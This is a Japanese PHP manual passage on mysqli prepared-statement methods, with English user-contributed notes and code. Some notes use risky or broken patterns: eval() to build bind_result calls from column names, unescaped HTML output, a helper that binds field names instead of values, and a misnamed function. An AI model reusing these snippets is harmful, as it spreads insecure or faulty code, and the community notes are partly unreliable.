$mysqli->query("CREATE TABLE myCity LIKE City");

/* insert 文を準備します */
$stmt = $mysqli->prepare("INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* 変数をパラメータにバインドします */
$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* SQL文を実行します */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* SQL文を実行します */
$stmt->execute();

/* myCity テーブルから全ての行を取得します */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = $mysqli->query($query);
while ($row = $result->fetch_row()) {
    printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

/* テーブルを削除します */
$mysqli->query("DROP TABLE myCity");

例2 手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* insert 文を準備します */
$stmt = mysqli_prepare($link, "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* 変数をパラメータにバインドします */
mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* SQL文を実行します */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* SQL文を実行します */
mysqli_stmt_execute($stmt);

/* myCity テーブルから全ての行を取得します */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_row($result)) {
    printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

/* テーブルを削除します */
mysqli_query($link, "DROP TABLE myCity");

上の例の出力は以下となります。

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_bind_param() - プリペアドステートメントのパラメータに変数をバインドする
  • mysqli_stmt_get_result() - プリペアード・ステートメントから結果セットを取得

User Contributed Notes

vedran-b at email dot htnet dot hr 04-Oct-2010 09:20
After the stmt->execute() function is called the variable "$X" that was storing the bind param e.g.

$stmt->bind_param("i", $X);

gets set to 0.

So don't try to use it for something else later... like me ...for $_session key coz you'll get crazy..... like me...

p.s. $_session keys starting with nums get discarded.
Typer85 at gmail dot com 28-Dec-2006 02:23
Just to clarify this note in the Manual regarding this function:

"Note:  When using mysqli_stmt_execute(), the mysqli_stmt_fetch()  function must be used to fetch the data prior to performing any additional queries."

This is because this function DOES NOT store the result set on the client side so you have to fetch everything in the result set or else you risk major errors.

If you however use the function mysqli_stmt_store_result immediately after you use this function, you are forcing the result set to be stored on the client side and thus it is safe to issue extra queries before fetching all the data.

This is where you really have to make a choice regarding on your application's priorities. If you know your result set is memory hefty, then its a good idea not to store it on the client side so you don't run in any errors regarding unavailable memory on the server. But this also means your not going to do a lot of calculations on the result set or else you will prevent any other usage of the table to which the result set came from until you fetched it all.

If your going to do a lot of calculations or your result set is not memory hefty, its probably a good idea to store it on the client side.

Most of these problems can easily be solved if you have a lot of memory available on your server but thats usually not the case for those on shared hosting.

An intelligent way to counter this problem if your on a shared host is to be smart in the way you design your queries. Try to limit the result set if you know you will be fetching memory hefty result sets.

Test different alternatives for your application and see what works best for you under different conditions.

Good Luck,
andrey at php dot net 07-Oct-2005 05:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


プリペアドステートメントから結果を取得し、バインド変数に格納する

  • ≪ mysqli_stmt::execute
  • mysqli_stmt::$field_count ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントから結果を取得し、バインド変数に格納する

mysqli_stmt::fetch

mysqli_stmt_fetch

(PHP 5, PHP 7)

mysqli_stmt::fetch -- mysqli_stmt_fetch — プリペアドステートメントから結果を取得し、バインド変数に格納する

説明

オブジェクト指向型

public mysqli_stmt::fetch ( ) : bool

手続き型

mysqli_stmt_fetch ( mysqli_stmt $stmt ) : bool

プリペアドステートメントから結果を読み込み、 mysqli_stmt_bind_result() でバインドした変数に格納します。

注意:

mysqli_stmt_fetch() をコールする前に、すべての カラムがバインド済みである必要があることに注意しましょう。

注意:

データの転送はバッファを用いずに行います。 mysqli_stmt_store_result() をコールするとバッファを使用し、パフォーマンスが減少します (しかしメモリのコストは下がります)。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

返り値
値 | 説明
true | 成功。データが取得されました。
false | エラーが発生しました。
null | 行/データがもうありません。あるいは、データの切り詰めが発生しました。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

    /* ステートメントを実行します */
    $stmt->execute();

    /* 結果変数をバインドします */
    $stmt->bind_result($name, $code);

    /* 値を取得します */
    while ($stmt->fetch()) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

    /* ステートメントを実行します */
    mysqli_stmt_execute($stmt);

    /* 結果変数をバインドします */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* 値を取得します */
    while (mysqli_stmt_fetch($stmt)) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す
  • mysqli_stmt_bind_result() - 結果を保存するため、プリペアドステートメントに変数をバインドする

User Contributed Notes

xcyberx at protonmail dot com 24-Oct-2019 03:52
Not any example for result with field names is not works correct when used prepare. This is correct variant:

<?php

    // STMT SQL prepeare and execute
    protected static function stmtSQL( $CONNECTION, $SQL_STMT ) {

        $stmt = $CONNECTION->stmt_init();

        if( $stmt->prepare($SQL_STMT) ) {

            $stmt->execute();

            $r = $stmt->get_result();

            while ( $row = mysqli_fetch_assoc($r) ) {
                print '<pre>'. print_r( $row, true ) .'</pre>';

            }

            ...

            $stmt->close();

            return $result;

        }
        else {

            return null;

        }

    }
?>

Then we can make modifier to make possible collect data into fields_named array when used JOIN because it more flexible ;)
admin at akchauhan2 dot com 06-Sep-2018 10:48
I'm creating a pagination system, here i am fetching some data in whileloop from the db, The problem is that i want to open a

Tag after every 3rd fetching from the database so that it will look like this:

1st time:

<div class="row no-collapse-1">
<section class="4u border">
<a href="video.php?video_id=1" class="image featured">
<img src="/images/image_imagename/hqdefault.jpg">
                    </a>
                <div class="box">
                    <p>Video Title </p>
                    <a href="video.php?video_id=1" class="button">Watch</a> </div>
            </section>
 </div>
2nd:

  <div class="row no-collapse-1">
      <section class="4u border">
                    <a href="video.php?video_id=1" class="image featured">
                            <img src="/images/image_imagename/hqdefault.jpg">
                        </a>
                    <div class="box">
                        <p>Video Title </p>
                        <a href="video.php?video_id=1" class="button">Watch</a> </div>
                </section>
    </div>
3rd..4th. .and so on..

I am using this code, now how and where should i place the  <div class="row no-collapse-1"> tag

<?php
    if(isset($_GET['page'])){
        $page = $_GET['page'];
    }else{
        $page = 1;
    }
            $l_s = ($page*9)-9;

    $stmt = mysqli_prepare($connection,"SELECT video_id, video_title, video_link FROM tubeVideos ORDER BY video_id DESC LIMIT $l_s,9");
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt,$video_id, $video_title, $video_link);

    while(mysqli_stmt_fetch($stmt)){

?>

<section class="4u border">
            <a href="video.php?video_id=<?php echo $video_id; ?>" class="image featured">
                    <img src="/images/image_<?php echo $video_image ?>/hqdefault.jpg">
                </a>
            <div class="box">
                <p>
                    <?php echo $video_title; ?>
                </p>
                <a href="video.php?video_id=<?php echo $video_id; ?>" class="button">Watch</a> </div>
        </section>
jjling2011 at gmail dot com 31-May-2017 07:36
Combind both ideas from Bruce Martin and dan, I come up with this code.
It will return an assoc array.

usage:
    $data = fetch_assoc('select * from table1 where id=? and name=?','is',[1,'Sam']);
    $data = fetch_assoc('select * from table2');

result looks like this:
   $data = [
      'id' => 1,
      'name' => 'Sam',
      'age' => ...
      ...
      ...
   ];

Please forgive my poor coding ( and English)  XD

code:
<?php
    function fetch_assoc($sql, $types = false, $params = false) {

        $db = new MySQLi(HOST, USER, PASS, DB_NAME);
        $db->set_charset('utf8');

        $stmt = $db->prepare($sql);

        // bind params
        if (is_string($types) && is_array($params) && count($params) === strlen($types)) {
            $p = [];
            for($i = 0; $i<count($params); $i++){
                $p[$i] = &$params[$i];
            }
            call_user_func_array(array($stmt, 'bind_param'), array_merge(array($types), $p));
        }

        if (!$stmt->execute()) {
            // some thing goes wrong
            return false;
        }
        $stmt->store_result();

        // get column names
        $metadata = $stmt->result_metadata();
        $fields = $metadata->fetch_fields();

        $results = [];
        $ref_results = [];
        foreach($fields as $field){
            $results[$field->name]=null;
            $ref_results[]=&$results[$field->name];
        }

        call_user_func_array(array($stmt, 'bind_result'), $ref_results);

        $data = [];
        while ($stmt->fetch()) {
            $data[] = $results;
        }

        $stmt->free_result();
        return  $data;
    }
asimileac at gmail dot com 07-Nov-2016 11:05
There is a bug - https://bugs.php.net/bug.php?id=64638

Don't use cursors in stored procedures which are called from PHP. You will receive PHP Warning:

PHP Warning:  Packets out of order. Expected xxx received yyy. Packet size=zzz
Brian 14-May-2015 06:09
Same as everyone else, I was looking for a way NOT to have to duplicate the amount of code it takes to fetch the results of a prepared statement as an associative array.

Some of the other methods didn't work as written, and this one is packaged into a simple function to reduce code repetition.

Adapted from code others have posted.
<?php
// Example usage:
$id = 1;
$stmt = $dbc->prepare("SELECT * FROM table WHERE id=?");
if (!$stmt->bind_param('i', $id) || !$stmt->execute()) {
    throw new \Exception("Database error: $stmt->errno - $stmt->error");
}
$results = fetch_assoc_stmt($stmt);
$stmt->close();

/**
 * Fetches the results of a prepared statement as an array of associative
 * arrays such that each stored array is keyed by the result's column names.
 * @param stmt   Must have been successfully prepared and executed prior to calling this function
 * @param buffer Whether to buffer the result set; if true, results are freed at end of function
 * @return An array, possibly empty, containing one associative array per result row
 */
function fetch_assoc_stmt(\mysqli_stmt $stmt, $buffer = true) {
    if ($buffer) {
        $stmt->store_result();
    }
    $fields = $stmt->result_metadata()->fetch_fields();
    $args = array();
    foreach($fields AS $field) {
        $key = str_replace(' ', '_', $field->name); // space may be valid SQL, but not PHP
        $args[$key] = &$field->name; // this way the array key is also preserved
    }
    call_user_func_array(array($stmt, "bind_result"), $args);
    $results = array();
    while($stmt->fetch()) {
        $results[] = array_map("copy_value", $args);
    }
    if ($buffer) {
        $stmt->free_result();
    }
    return $results;
}

/**
 * Copy value as value
 */
function copy_value($v) {
    return $v;
}
?>
Bruce Martin 30-Dec-2011 09:51
I was trying to use a generic select * from table statment and have the results returned in an array. I finally came up with this solution, others have similar solutions, but they where not working for me.
<?php
    //Snip use normal methods to get to this point
    $stmt->execute();
    $metaResults = $stmt->result_metadata();
    $fields = $metaResults->fetch_fields();
    $statementParams='';
     //build the bind_results statement dynamically so I can get the results in an array
     foreach($fields as $field){
         if(empty($statementParams)){
             $statementParams.="\$column['".$field->name."']";
         }else{
             $statementParams.=", \$column['".$field->name."']";
         }
    }
    $statment="\$stmt->bind_result($statementParams);";
    eval($statment);
    while($stmt->fetch()){
        //Now the data is contained in the assoc array $column. Useful if you need to do a foreach, or
        //if your lazy and didn't want to write out each param to bind.
    }
    // Continue on as usual.
?>
denath2 at yahoo dot com 19-May-2008 12:27
As php at johnbaldock dot co dot uk mentioned the problem is that the $row returned is reference and not data. So, when you write  $array[] = $row, the $array will be filled up with the last element of the dataset. To come up with this you can write the following hack:

// loop through all result rows
while ($stmt->fetch()) {

    foreach( $row as $key=>$value )
    {
        $row_tmb[ $key ] = $value;
    }
    $array[] = $row_tmb;

}
piedone at pyrocenter dot hu 08-May-2008 12:57
I tried the mentioned stmt_bind_assoc() function, but somehow, very strangely it doesn't allow the values to be written in an array! In the while loop, the row is fetched correctly, but if I write $array[] = $row;, the array will be filled up with the last element of the dataset... Unfortunately I couldn't find a solution.
Lyndon 23-Apr-2008 05:38
This function uses the same idea as the last, but instead binds the fields to a given array.
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array(mysqli_stmt_bind_result, $fields);
}

// example

$stmt = $mysqli->prepare("SELECT name, userid FROM somewhere");
$stmt->execute();

$row = array();
stmt_bind_assoc($stmt, $row);

// loop through all result rows
while ($stmt->fetch()) {
    print_r($row);
}
?>
dan dot latter at gmail dot com 16-Aug-2007 12:14
The following function taken from PHP Cookbook 2, returns an associative array of a row in the resultset, place in while loop to iterate through whole result set.

<?php
public function fetchArray () {
   $data = mysqli_stmt_result_metadata($this->stmt);
        $fields = array();
        $out = array();

        $fields[0] = &$this->stmt;
        $count = 1;

        while($field = mysqli_fetch_field($data)) {
            $fields[$count] = &$out[$field->name];
            $count++;
        }

        call_user_func_array(mysqli_stmt_bind_result, $fields);
        mysqli_stmt_fetch($this->stmt);
        return (count($out) == 0) ? false : $out;

    }
?>
Typer85 at gmail dot com 27-Dec-2006 05:55
Just a side note,

I see many people are contributing in ways to help return result sets for prepared statements in ASSOSITAVE arrays the same as the mysqli_fetch_assos function might return from a normal query issued via mysqli_query.

This is done, in all the examples I have seen, by dynamically getting the field names in the prepared statement and binding them using 'variable' variables, which are variables that are created dynamically with the name of the field names.

Some thing though you should take into consideration is illegal variable names in PHP. Assume that you have a field name in your database table named 'My Field' , notice the space between 'My' and 'Field'.

To dynamically create this variable is illegal in PHP as variables can not have spaces in them. Furthermore, you won't be able to access the binded data as you can not reference a variable like so:

<?php

// Syntax Error.

echo $My Table;

?>

The only suitable solution I find now is to replace all spaces in a field name with an underscore so that you can use the binded variable like so:

<?php

// This Works.

echo $My_Table;

// Notice the space is now replaced with an underscore.

?>

All you simply have to do is before you dynamically bind the data, so a string search for any spaces in the table name, replace them with an underscore, THEN bind the variable.

That way you should not run into problems.
php at johnbaldock dot co dot uk 09-Nov-2006 01:33
Having just learned about call_user_func_array I reworked my fetch_assoc example. Swapping the following code makes for a more elegant (and faster) solution.

Using:
<?php
while ($columnName = $meta->fetch_field()) {
    $columns[] = &$results[$columnName->name];
}
call_user_func_array(array($stmt, 'bind_result'), $columns);
?>

Instead of this code from my example below:
<?php
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
   $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';
eval($bindResult);
?>

The full reworked fetch_assoc code for reference:
<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

while ($column = $meta->fetch_field()) {
   $bindVarsArray[] = &$results[$column->name];
}
call_user_func_array(array($stmt, 'bind_result'), $bindVarsArray);

$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//  ["id"]=>
//  &int(1)
//  ["foo"]=>
//  &string(11) "This is Foo"
//  ["bar"]=>
//  &string(11) "This is Bar"
// }
?>
php at johnbaldock dot co dot uk 23-Oct-2006 01:07
I wanted a simple way to get the equivalent of fetch_assoc when using a prepared statement. I came up with the following:

<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

// the following creates a bind_result string with an argument for each column in the query
// e.g. $stmt->bind_result($results["id"], $results["foo"], $results["bar"]);
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
    $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';

// executes the bind_result string
eval($bindResult);
$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//   ["id"]=>
//   &int(1)
//   ["foo"]=>
//   &string(11) "This is Foo"
//   ["bar"]=>
//   &string(11) "This is Bar"
// }
?>
andrey at php dot net 27-Apr-2005 11:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.


指定したステートメントのカラム数を返す

  • ≪ mysqli_stmt::fetch
  • mysqli_stmt::free_result ≫
  • PHP Manual
  • mysqli_stmt
  • 指定したステートメントのカラム数を返す

mysqli_stmt::$field_count

mysqli_stmt_field_count

(PHP 5, PHP 7)

mysqli_stmt::$field_count -- mysqli_stmt_field_count — 指定したステートメントのカラム数を返す

説明

オブジェクト指向型

int $mysqli_stmt->field_count;

手続き型

mysqli_stmt_field_count ( mysqli_stmt $stmt ) : int

プリペアドステートメントで指定されたカラムの数を返します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

カラム数を示す整数値を返します。

例

例1 オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Code=?");
$stmt->bind_param('s', $code);
$stmt->execute();
$row = $stmt->get_result()->fetch_row();
for ($i = 0; $i < $stmt->field_count; $i++) {
    printf("Value of column number %d is %s", $i, $row[$i]);
}

例2 手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = mysqli_prepare($mysqli, "SELECT Name FROM Country WHERE Code=?");
mysqli_stmt_bind_param($stmt, 's', $code);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_row($result);
for ($i = 0; $i < mysqli_stmt_field_count($stmt); $i++) {
    printf("Value of column number %d is %s", $i, $row[$i]);
}

上の例の出力は、 たとえば以下のようになります。

Value of column number 0 is France

参考

  • mysqli_stmt_num_rows() - ステートメントの結果セットの行数を返す

User Contributed Notes

There are no user contributed notes for this page.


指定したステートメントハンドルの結果を格納したメモリを開放する

  • ≪ mysqli_stmt::$field_count
  • mysqli_stmt::get_result ≫
  • PHP Manual
  • mysqli_stmt
  • 指定したステートメントハンドルの結果を格納したメモリを開放する

mysqli_stmt::free_result

mysqli_stmt_free_result

(PHP 5, PHP 7)

mysqli_stmt::free_result -- mysqli_stmt_free_result — 指定したステートメントハンドルの結果を格納したメモリを開放する

説明

オブジェクト指向型

public mysqli_stmt::free_result ( ) : void

手続き型

mysqli_stmt_free_result ( mysqli_stmt $stmt ) : void

ステートメントに関連する結果のメモリを開放します。このメモリは mysqli_stmt_store_result() によって割り当てられたものです。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

値を返しません。

参考

  • mysqli_stmt_store_result() - プリペアドステートメントから結果を転送する

User Contributed Notes

There are no user contributed notes for this page.


プリペアード・ステートメントから結果セットを取得

  • ≪ mysqli_stmt::free_result
  • mysqli_stmt::get_warnings ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアード・ステートメントから結果セットを取得

mysqli_stmt::get_result

mysqli_stmt_get_result

(PHP 5 >= 5.3.0, PHP 7)

mysqli_stmt::get_result -- mysqli_stmt_get_result — プリペアード・ステートメントから結果セットを取得

説明

オブジェクト指向型

public mysqli_stmt::get_result ( ) : mysqli_result

手続き型

mysqli_stmt_get_result ( mysqli_stmt $stmt ) : mysqli_result

プリペアード・ステートメントから結果セットを返すための呼び出し。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

失敗した場合に false を返します。 結果セットを生成するクエリ、 つまり SELECT, SHOW, DESCRIBE あるいは EXPLAIN が成功した場合は、mysqli_stmt_get_result() は mysqli_result オブジェクトを返します。それ以外のクエリが成功した場合は、 mysqli_stmt_get_result() は false を返します。 PHP 7.4.13 より前のバージョンでは、 その他の DML クエリを実行したのかクエリの実行に失敗したのかを区別するのに、 mysqli_errno() 関数を使わなければなりませんでした。

MySQL ネイティブドライバ限定

mysqlnd でのみ使用可能です。

例

例1 オブジェクト指向型

<?php

$mysqli = new mysqli("127.0.0.1", "user", "password", "world");

if($mysqli->connect_error)
{
    die("$mysqli->connect_errno: $mysqli->connect_error");
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = $mysqli->stmt_init();
if(!$stmt->prepare($query))
{
    print "Failed to prepare statement\n";
}
else
{
    $stmt->bind_param("s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}

$stmt->close();
$mysqli->close();
?>

例2 手続き型

<?php

$link = mysqli_connect("127.0.0.1", "user", "password", "world");

if (!$link)
{
    $error = mysqli_connect_error();
    $errno = mysqli_connect_errno();
    print "$errno: $error\n";
    exit();
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = mysqli_stmt_init($link);
if(!mysqli_stmt_prepare($stmt, $query))
{
    print "Failed to prepare statement\n";
}
else
{
    mysqli_stmt_bind_param($stmt, "s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        mysqli_stmt_execute($stmt);
        $result = mysqli_stmt_get_result($stmt);
        while ($row = mysqli_fetch_array($result, MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}
mysqli_stmt_close($stmt);
mysqli_close($link);
?>

上の例の出力は以下となります。

Albania 3401200 Europe
Algeria 31471000 Africa
Afghanistan 22720000 Asia
Anguilla 8000 North America

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_result_metadata() - プリペアドステートメントから結果セットのメタデータを返す
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_stmt_store_result() - プリペアドステートメントから結果を転送する
  • mysqli_errno() - 直近の関数コールによるエラーコードを返す

User Contributed Notes

HeadlessDev 26-Jul-2019 09:47
Thanks to everyone that leaves notes, without them I would not be able to do what I do. I wrote this function with help from notes on this page and others.

I did not have mysqlnd available to me, but wanted to be able to get_result() of a query as an object.

PLEASE NOTE: I am not an expert at PHP

Heres an example of using my get_result() to login users
<?php
    //Sanitize input before using this function
    function login($email, $password){
        require 'connect_db.php';
        $query = $sql->stmt_init();
        if($query->prepare("SELECT CustomerId, Password, Admin FROM users WHERE Email = ?")){
            $query->bind_param("s",$email);
            $result = get_result($query); //USING FUNCTION  HERE
            if($result != NULL){
                $user = $result[0];
                if(password_verify($password, $user->Password)){
                    $_SESSION['user_id'] = $user->CustomerId;
                    if($user->Admin == 1){
                        $_SESSION['admin'] = true;
                    }
                    $sql->close();
                    return true;
                }
            }
        }
        $sql->close();
        //If we get here they are not logged in
        return false;
    }

    //Returns an array with each row as an object
    function get_result($stmt){
        $stmt->execute(); //Execute query
        $stmt->store_result(); //Store the results
        $num_rows = $stmt->num_rows; //Get the number of results
        $results = NULL;
        if($num_rows > 0){
            //Get metadata about the results
            $meta = $stmt->result_metadata();
            //Here we get all the column/field names and create the binding code
            $bind_code = "return mysqli_stmt_bind_result(\$stmt, ";
            while($_field = $meta->fetch_field()){
                $bind_code .= "\$row[\"".$_field->name."\"], ";
            }
            //Replace trailing ", " with ");"
            $bind_code = substr_replace($bind_code,");", -2);
           //Run the code, if it doesn't work return NULL
            if(!eval($bind_code)) {
                $stmt->close();
                return NULL;
            }
            //This is where we create the object and add it to our final result array
            for($i=0;$i<$num_rows;$i++){
               //Gets the row by index
                $stmt->data_seek($i);
                //Update bound variables used in $bind_code with new row values
                $stmt->fetch();
                foreach($row as $key=>$value){
                    //Create array using the column/field name as the index
                    $_result[$key] = $value;
                }
                //Cast $_result to object and append to our final results
                $results[$i] = (object)$_result;
            }
        }
        $stmt->close();
        return $results;
    }
?>
barkeldiho at gmail dot com 12-Sep-2018 12:03
The description of get_result() indicates that it will return a resultset on success of a SELECT statement or false (boolean) in case of any other query.

This is not true. In fact, there are cases in which get_result() will return true (boolean) e.g. when a DELETE command has been successfully send to the database. I can reproduce this case with the following code:

DELETE command send from garbage collector in a custom sessionhandler:

<?php
public function _gc($life) {
   $sessionlife = strtotime("-".SESSION_TIMEOUT."minutes");
   $dummy = "DELETE FROM sessions WHERE lastupdated< ?";
   $valueArray = array();
   $valueArray[] = $sessionlife;
   $result = $this->DB->prepQuery($dummy,$valueArray);
   return $result;
}
?>

Part of the prepQuery function to send prepared statements to the database:

<?php
$sqlquery->execute();
$result = $sqlquery->get_result();
$sqlqueryError = $sqlquery->errno;
$sqlqueryAffRows = $sqlquery->affected_rows;
$sqlquery->close();

//Catch non-SELECT statements, false cases
if($result === false) {
   if($sqlqueryError == false) {
      if($sqlqueryAffRows == 0) {
         return false;
      }
      return true;
   }
   else {
      return false;
   }
}
return $this->makeArrayResult($result);
?>

that should have catched all the false (boolean) cases, and the makeArrayResult function, that only works with objects:

<?php
private function makeArrayResult($resultobj) {
   if($resultobj->num_rows == 0) {
      return array();
   }
   else {
      $array = array();
      while($line = $resultobj->fetch_array(MYSQLI_ASSOC)) {
         array_push($array,$line);
      }
      return $array;
   }
}
?>

but which was giving me the following Error Notice:

PHP Notice -- Trying to get property of non-object

Hence the case true (boolean) needs to be considered and the description should get updated.
jeffspicer at gmail dot com 30-Jun-2018 06:59
To prevent others from hours of screaming trying to figure out why this does not work when you have the native driver enabled.  It is because you need to make sure you enable both native drives mysqlnd and nd_mysqli on your server if you wish to use this functionality.

Otherwise just enabling the mysqlnd native driver does include the mysqli_stmt_get_result function as this apparently resides in the nd_mysqli native driver.  Unfortunately, most documentation only ever talks about the mysqlnd native driver.

Once you enable both native drivers this function works as documented.
Anon 22-Jun-2018 06:22
Please OH PLEASE.
I have been trying to get a result set from this function, and I had 0 luck completely, for nearly 3 hours!

If you ARE using mysqli_stmt_get_results() to get a result set, in conjuction with mysqli_stmt_store_results in order to retrieve the number of rows returned, you are going to have some major trouble!

PHP Documentation states that to retrieve the number of rows returned by a prepared select sql statement, one should call the following statements respectively:

mysqli_stmt_execute($stmt);
mysqli_stmt_store_result($stmt);
$num_rows = mysqli_stmt_num_rows($stmt);

THIS IS A MAJOR DEATH TRAP, IF YOU ARE USING mysqli_stmt_get_result() in conjunction!!!! Results of doing so vary depending which statements you call first, but in the end, you will NOT get the desired result.

In conclusion, please, PLEASE, NEVER use mysqli_stmt_store_result(), then mysqli_ AND mysqli_stmt_get_result() at the the same time. This is a MAJOR death trap.

SOLUTION:
If you are trying to get a result set, and you need the number of rows returned at the same time, use the following statements respectively instead:

$result_set = mysqli_stmt_get_results($stmt);
$num_rows = mysqli_num_rows($result_set);

Reflecting on my actions, this solution may seem fairly obvious. However, to someone new using PHP (like me) or someone who is not fully comfortable with prepared statements, it's very easy to get lost by using Google and learn on your own.

Summary:
NEVER use mysqli_stmt_store_result($stmt) & mysqli_stmt_num_rows($stmt) in conjunction with mysqli_stmt_get_result($stmt). You will regret it!! I have been stuck on this for hours, and Google offered me no answer!
Haravikk 28-Oct-2016 01:43
For those interested, this function seems to always produce a stored result, making it equivalent to mysqli::store_result(), rather than fetching on demand as in the case of mysqli::use_result().

This is important as it means that you cannot control the nature of the result as you would normally by calling mysqli_stmt::store_result() prior to fetching, as I had personally expected.

So, if you want to emulate the behaviour of mysqli::use_result() you will still need to use mysqli_stmt::bind_param() and mysqli_stmt::fetch().
Anonymous 06-Oct-2013 08:39
I went through a lot of trouble on a server where mysqlnd wasn't available, and had a lot of headaches.

If you don't have mysqlnd installed/loaded whatever, you will get an undefined reference when trying to call "mysqli_stmt_get_result()".

I wrote my own mysqli_stmt_get_result() and a mysqli_result_fetch_array() to go with it.

<?php
class iimysqli_result
{
